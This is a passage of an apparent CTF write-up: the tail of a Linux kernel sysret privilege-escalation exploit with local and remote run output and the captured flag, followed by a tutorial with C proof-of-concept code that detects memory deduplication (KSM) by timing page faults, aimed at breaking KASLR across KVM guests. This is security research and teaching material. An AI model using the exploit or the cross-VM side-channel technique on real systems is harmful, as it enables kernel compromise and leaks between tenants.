    system("/tmp/bad");

    // get flag
    system("cat /tmp/heckyeah");
}

I tried running this locally and was able to the get the test flag:

ctf@corctf:~$ /sysret
KASLR base ffffffff81000000
PHYS base ffff888000000000
gsbase: 0xffff88813bc00000
...
/tmp/bad: line 1: : not found
corctf{test_flag}
ctf@corctf:~$

Now to try it on remote!

ctf@corctf:~$ chmod +x /tmp/exploit
ctf@corctf:~$ /tmp/exploit
KASLR base ffffffffb5c00000
PHYS base ffff8d9000000000
gsbase: 0xffff8d913bc00000
[   93.372874] general protection fault, maybe for address 0x54: 0000 [#1] PREEMPT SMP NOPTI
[   93.373374] CPU: 0 PID: 83 Comm: exploit Not tainted 6.3.4 #14
[   93.373717] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.374277] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.374601] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.375677] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.375988] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.376409] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.376825] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.377248] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.377666] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.378081] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.378552] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.378881] CR2: 00007ffc8370b858 CR3: 0000000100ac4004 CR4: 0000000000770ef0
[   93.379292] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.379712] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.380129] PKRU: 55555554
[   93.380290] Call Trace:
[   93.380438] Modules linked in:
[   93.380625] ---[ end trace 0000000000000000 ]---
[   93.380897] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.381212] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.382302] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.382606] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.383027] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.383444] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.383857] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.384274] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.384689] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.385154] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.385496] CR2: 00007ffc8370b858 CR3: 0000000100ac4004 CR4: 0000000000770ef0
[   93.385915] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.386333] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.386745] PKRU: 55555554
[   93.386907] note: exploit[83] exited with irqs disabled
[   93.387268] general protection fault
[   93.387485] general protection fault, maybe for address 0x56: 0000 [#2] PREEMPT SMP NOPTI
[   93.387958] CPU: 0 PID: 85 Comm: exploit Tainted: G      D            6.3.4 #14
[   93.388394] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.388947] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.389256] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.390325] RSP: 0018:ffffffffb6c3b768 EFLAGS: 00010046
[   93.390633] RAX: 0000000000000056 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.391053] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.391468] RBP: 0000002d00000000 R08: 0000612f706d742f R09: 0000612f706d742f
[   93.391879] R10: 0000612f706d742f R11: 0000000000000246 R12: ffffffffb6c3a320
[   93.392302] R13: ffffffffb7240160 R14: ffff8d9100049600 R15: 0000612f706d742f
[   93.392718] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.393176] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.393515] CR2: 00007ffc83709fe4 CR3: 0000000100ac8005 CR4: 0000000000770ef0
[   93.393932] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.394347] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.394757] PKRU: 55555554
[   93.394919] Call Trace:
[   93.395065] Modules linked in:
[   93.395247] ---[ end trace 0000000000000000 ]---
[   93.395512] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.395824] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.396906] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.397208] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.397619] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.398028] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.398434] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.398840] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.399251] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.399717] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.400051] CR2: 00007ffc83709fe4 CR3: 0000000100ac8005 CR4: 0000000000770ef0
[   93.400469] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.400881] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.401295] PKRU: 55555554
[   93.401457] note: exploit[85] exited with irqs disabled
[   93.402397] ------------[ cut here ]------------
[   93.402683] WARNING: CPU: 0 PID: 30 at kernel/ucount.c:285 dec_rlimit_ucounts+0x4f/0x60
[   93.403149] Modules linked in:
[   93.403341] CPU: 0 PID: 30 Comm: kworker/u2:2 Tainted: G      D            6.3.4 #14
[   93.403797] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.404358] Workqueue: events_unbound call_usermodehelper_exec_work
[   93.404727] RIP: 0010:dec_rlimit_ucounts+0x4f/0x60
[   93.405014] Code: c1 04 31 48 29 d0 78 22 48 39 cf 4c 0f 44 c0 48 8b 41 10 48 8b 88 e0 01 00 00 48 85 c9 75 db 4d 85 c0 0f 94 c0 c3 cc cc cc cc <0f> 0b eb da 31 c0 c3 cc cc cc cc 66 0f 1f 44 00 00 90 90 90 90 90
[   93.406089] RSP: 0018:ffffa71340107d00 EFLAGS: 00010297
[   93.406404] RAX: ffffffffffffffff RBX: ffffa71340107e08 RCX: ffffffffb6c3b6c0
[   93.406820] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffffb6c3b6c0
[   93.407240] RBP: ffff8d9100c442c0 R08: ffffffffffffffff R09: ffffffffffffffff
[   93.407651] R10: 00000000000000ba R11: 00000000000009e8 R12: ffffffffb6c3b6c0
[   93.408065] R13: 0000000000000010 R14: dead000000000122 R15: 0000000000000000
[   93.408482] FS:  0000000000000000(0000) GS:ffff8d913bc00000(0000) knlGS:0000000000000000
[   93.408947] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.409288] CR2: 000000000065eff0 CR3: 000000004222c006 CR4: 0000000000770ef0
[   93.409709] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.410125] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.410541] PKRU: 55555554
[   93.410708] Call Trace:
[   93.410862]  <TASK>
[   93.410992]  release_task+0x47/0x4b0
[   93.411217]  ? thread_group_cputime_adjusted+0x46/0x70
[   93.411522]  wait_consider_task+0x90d/0x9e0
[   93.411770]  do_wait+0x17b/0x2c0
[   93.411966]  kernel_wait+0x44/0x90
[   93.412175]  ? __pfx_child_wait_callback+0x10/0x10
[   93.412461]  call_usermodehelper_exec_work+0x72/0x80
[   93.412754]  process_one_work+0x1b1/0x340
[   93.412994]  worker_thread+0x45/0x3b0
[   93.413219]  ? __pfx_worker_thread+0x10/0x10
[   93.413473]  kthread+0xd1/0x100
[   93.413659]  ? __pfx_kthread+0x10/0x10
[   93.413883]  ret_from_fork+0x29/0x50
[   93.414103]  </TASK>
[   93.414238] ---[ end trace 0000000000000000 ]---
/tmp/bad: line 1: : not found
corctf{tHIS is a SoFtWare ImPLEMENTAtioN isSuE. iNTeL PRoCESSORS ArE fuNCtIONinG AS PEr sPeCiFIcaTionS anD ThIS BEHavioR Is cORRecTly documEnteD IN tHE INTEL SofTwArE DEvELOPErs manual.}

After a few runs the prefetch attacks succeeded and the exploit worked! flag!

closing

This challenge was awesome, I had been hoping someone would create a challenge around the sysret bug ever since I learned about it. So, thanks to FizzBuzz101 for creating this challenge!

The ability to break KASLR across VMs while also bypassing KPTI using deduplication was discovered by the authors of [3], I will just be exploring the basis for these attacks and writing my own attack based on their research.

A repository of the code examples associated with this post can be found here: github.com/zolutal/dedup-attacks

wtf is deduplication

Memory deduplication is an optimization to reduce the amount of memory being used on a system. The idea being that similar processes are likely to have similar memory contents, so by pointing pages of memory that have the same content to the same physical address and marking them copy-on-write a large amount of memory can be saved.

Linux implements this via Kernel Same-Page Merging (KSM), which as the name implies “merges” pages with the same content by pointing them to the same physical memory. KSM will run periodically on a configurable interval, scanning a number of pages everytime for identical contents to merge.

Note that KSM may not be enabled by default, though it was enabled on both of my Ubuntu 22.04 machines. Also, not every page is mergable, on Linux pages are only mergable if they are explicitly marked as mergable, e.g. using madvise with MADV_MERGABLE.

Documentation regarding how to enable and configure KSM is located here: Kernel Samepage Merging

For reference, this was the default configuration for KSM on my Ubuntu machine:

/sys/kernel/mm/ksm/run:1
/sys/kernel/mm/ksm/stable_node_chains_prune_millisecs:2000
/sys/kernel/mm/ksm/merge_across_nodes:1
/sys/kernel/mm/ksm/use_zero_pages:0
/sys/kernel/mm/ksm/pages_to_scan:100
/sys/kernel/mm/ksm/sleep_millisecs:200
/sys/kernel/mm/ksm/use_zero_pages:0

observing deduplication

As mentioned, when a page is merged it is made copy-on-write (CoW), in short this just means that it’s access permissions are set to be not writeable (write-protected) so that a page fault will occur if it is written to. When the kernel sees that a page fault occurred from an attempt to write to a copy-on-write page, it will copy the contents of the page to a newly allocated page and perform the write operation on the new page.

So if we have a page that got deduplicated and we write to it, a page fault will occur. The page fault will have to be handled by the kernel which will have to identify the page fault was a write to a copy-on-write page, allocate a new page, copy the contents of the old page to the new one, and perform the write again all before returning to userspace. That’s a whole lot of stuff to do which will take way longer than a non-faulting memory write, meaning we can easily use a timer to record whether or not a write was a faulting one allowing us to detect if deduplication occurred on a given page.

timing page faults

Then the first step in exploiting deduplication is being able to detect when a page fault ocurrs. A simple way to demonstrate page fault detection is by using memory allocated using mmap. On Linux, the default behavior of mmap is to not immediately allocate the memory that is requested. This is because Linux implements demand paging, so pages aren’t allocated memory until they are first accessed. We can see this from the example below.

// write a null byte to addr
void poke(char *addr) { *addr = '\0'; }

// return the difference in the processor's timestamp before and after poke
uint64_t time_poke(char *addr) {
    uint64_t start = __rdtsc();
    poke(addr);
    uint64_t end = __rdtsc();
    return end-start;
}

// allocate a single read/write anon/private page
void *alloc_page() {
    return mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
}

int main() {
    void *page = alloc_page();

    // demonstrates that faulting accesses have distinct timings
    printf("fault     : %ld cycles\n", time_poke(page));
    printf("post-fault: %ld cycles\n", time_poke(page));
}

The timer isn’t particularly precise but it doesn’t really need to be because of how long page faults take, here is what I get running this code:

fault     : 7290 cycles
post-fault: 108 cycles

Notice the first access took way longer, this is because as described previously the page wasn’t actually allocated until I attempted to access it. So when I wrote to it by calling poke a page fault occurred resulting in the kernel allocating memory for the page. Now when the second poke is timed the page is already allocated so the access occurs way faster and without a fault.

timing un-merging

Cool! So now let’s try to replicate this with madvise with MADV_MERGABLE.

Pretty similar same setup besides the madvise and additional writes, just now we let the pages get merged and time the copy-on-write page fault instead of the demand paging page fault.

...
// read a byte from addr
void maccess(char *addr) { volatile char c = *addr; }

// time maccess using the processor timestamp
uint64_t time_access(char *addr) {
    uint64_t start = __rdtsc();
    maccess(addr);
    uint64_t end = __rdtsc();
    return end-start;
}

int main() {
    // allocate victim and attacker pages
    void *victim = alloc_page();
    void *attacker = alloc_page();

    // mark both pages as mergable
    madvise(victim, 0x1000, MADV_MERGEABLE);
    madvise(attacker, 0x1000, MADV_MERGEABLE);

    // write something unique to both pages so they aren't merged with
    // other pages, this also faults them to be sure they are allocated
    *(uint64_t *)victim = 0x1337;
    *(uint64_t *)attacker = 0x1337;

    printf("sleeping to wait for merge...\n");

    sleep(10);

    printf("finished sleeping... checking access times\n");
    printf("read  : %ld cycles\n", time_access(attacker));
    printf("write : %ld cycles\n", time_poke(attacker));
    printf("write : %ld cycles\n", time_poke(attacker));

    return 0;
}

And here is what the output looks like:

sleeping to wait for merge...
finished sleeping... checking access times
read  : 54 cycles
write : 96768 cycles
write : 54 cycles

The initial read is quick, meaning the page is present and hasn’t been swapped out or anything, but then the first write is extremely slow while the second write is quick. This result indicates that a page fault occurred on the first write due to the page having been merged, and the difference in timing for the pagefault was extremely distinct. So that now we know that we can observe memory deduplication let’s look at how to exploit it.

targeting KVM

Kernel Samepage Merging was originally designed with KVM in mind[7]. Though madvise exposes it to any application, KVM is still its main user and if it is enabled on the system qemu will use it by default.

making sure KSM is enabled for KVM

To check if KSM is enabled on a system check the contents of /sys/kernel/mm/ksm/run, if this is set to ‘1’ then KSM is enabled.

To check if KSM is enabled for qemu using KVM check the contents of /etc/default/qemu-kvm, if this is set to ‘AUTO’ or ‘1’ then memory for qemu VMs that use KVM will be made mergeable.

observing deduplication in KVM

Let’s confirm that deduplication is detectable in KVM with a similar setup. I booted up a Linux VM using qemu-system-x86_64 with ‘–enable-kvm’ and ‘-cpu host’ specified, and ran the following code.

// allocate victim and attacker pages
void *victim = alloc_page();
void *attacker = alloc_page();

// write something unique to both pages so they aren't merged with
// other zero pages, this also faults them to be sure they are allocated
memset((char *)victim, 0x41, 0x1000);
memset((char *)attacker, 0x41, 0x1000);

while (1) {
    printf("sleeping to wait for merge...\n");

    sleep(20);

    printf("finished sleeping... checking access times\n");

    // make sure attacker is present and in cache
    time_access(attacker);

    printf("write : %ld cycles\n", time_poke(attacker));
    printf("write : %ld cycles\n", time_poke(attacker));
}